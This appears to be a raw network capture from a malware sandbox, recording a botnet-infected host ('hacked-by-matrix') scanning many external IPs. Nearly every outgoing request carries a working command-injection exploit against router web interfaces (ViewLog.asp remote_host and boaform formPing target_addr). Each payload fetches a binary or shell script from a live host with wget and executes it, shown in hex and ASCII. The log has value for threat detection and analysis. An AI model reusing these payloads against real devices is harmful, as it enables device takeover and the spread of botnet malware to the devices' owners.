remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2007	192.168.2.13	54868	86.107.79.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.990159988 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:39.221327066 CET	1286	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Server: ClausWeb-nginx cluster-host: server46.romania-webhosting.com Data Raw: 65 66 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 0d 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0d 0a 3c 21 2d 2d 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 40 69 6d 70 6f 72 74 20 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 49 6e 63 6f 6e 73 6f 6c 61 74 61 27 3b 0d 0a 68 74 6d 6c 20 7b 0d 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0d 0a 20 20 2f 2a 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 23 31 31 35 38 31 45 2c 20 23 30 34 31 36 30 37 29 2c 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 67 69 70 68 79 2e 63 6f 6d 2f 6d 65 64 69 61 2f 6f 45 49 39 75 42 59 53 7a 4c 70 42 4b 2f 67 69 70 68 79 2e 67 69 66 22 29 3b 2a 2f 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 49 6e 63 6f 6e 73 6f 6c 61 74 61 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 31 32 38 2c 20 32 35 35 2c 20 31 32 38 2c 20 30 2e 38 29 3b 0d 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 31 65 78 20 23 33 33 66 66 33 33 2c 20 30 20 30 20 32 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 38 29 3b 0d 0a 7d 0d 0a 0d 0a 2e 6e 6f 69 73 65 20 7b 0d 0a 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 2f 2a 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 67 69 70 68 Data Ascii: efa<!DOCTYPE html><html lang="en" ><head><meta charset="utf-8"> <title>Error 404 - Not found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">...<link rel="stylesheet" href="./style.css">--><style>@import 'https://fonts.googleapis.com/css?family=Inconsolata';html { min-height: 100%;}body { box-sizing: border-box; height: 100%; background-color: #000000; /background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");/ background-repeat: no-repeat; background-size: cover; font-family: "Inconsolata", Helvetica, sans-serif; font-size: 1rem; color: rgba(128, 255, 128, 0.8); text-shadow: 0 0 1ex #33ff33, 0 0 2px rgba(255, 255, 255, 0.8);}.noise { pointer-events: none; position: absolute; width: 100%; height: 100%; /*background-image: url("https://media.giph
Mar 21, 2024 05:23:39.221369982 CET	1286	IN	Data Raw: 79 2e 63 6f 6d 2f 6d 65 64 69 61 2f 6f 45 49 39 75 42 59 53 7a 4c 70 42 4b 2f 67 69 70 68 79 2e 67 69 66 22 29 3b 2a 2f 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 62 61 63 6b 67 Data Ascii: y.com/media/oEI9uBYSzLpBK/giphy.gif");*/ background-repeat: no-repeat; background-size: cover; z-index: -1; opacity: 0.02;}.overlay { pointer-events: none; position: absolute; width: 100%; height: 100%; backgro
Mar 21, 2024 05:23:39.221431971 CET	1286	IN	Data Raw: 3a 20 34 72 65 6d 3b 0d 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 6f 75 74 70 75 74 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 31 32 38 2c 20 32 35 35 2c 20 31 32 38 Data Ascii: : 4rem; text-transform: uppercase;}.output { color: rgba(128, 255, 128, 0.8); text-shadow: 0 0 1px rgba(51, 255, 51, 0.4), 0 0 2px rgba(255, 255, 255, 0.8);}.output::before { content: "> ";}/*.input { color:
Mar 21, 2024 05:23:39.221443892 CET	341	IN	Data Raw: 20 65 78 69 73 74 61 3c 62 72 3e 0d 0a e2 80 93 20 20 46 69 73 69 65 72 75 6c 20 73 6f 6c 69 63 69 74 61 74 20 6e 75 20 65 78 69 73 74 61 2f 61 20 66 6f 73 74 20 6d 75 74 61 74 2f 73 74 65 72 73 3c 62 72 3e 0d 0a 0d 0a 3c 2f 70 3e 0d 0a 20 20 3c Data Ascii: exista<br> Fisierul solicitat nu exista/a fost mutat/sters<br></p> <p class="output">Va rugam sa incercati sa reveniti la pagina de pornire : 127.0.0.1</p> <p class="output"><a href="https://www.clausweb.ro/intrebari-frecvente

Session ID	Source IP	Source Port	Destination IP	Destination Port
2008	192.168.2.13	39090	178.33.182.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.137646914 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:40.012238026 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:40.171534061 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:23:40 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.globaltex.pl/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.20.1</center></body></html>
Mar 21, 2024 05:23:40.171581984 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:23:40 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2009	192.168.2.13	56996	80.169.231.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.143678904 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:40.044234037 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:41.103347063 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2010	192.168.2.13	46190	213.164.0.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.158663034 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2011	192.168.2.13	50238	178.239.116.1	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.189641953 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:39.829643965 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2012	192.168.2.13	50200	213.127.179.162	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.638381004 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:42.767388105 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2013	192.168.2.13	47854	206.191.159.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.880182028 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:40.172240019 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:40.261674881 CET	339	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Thu, 21 Mar 2024 04:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
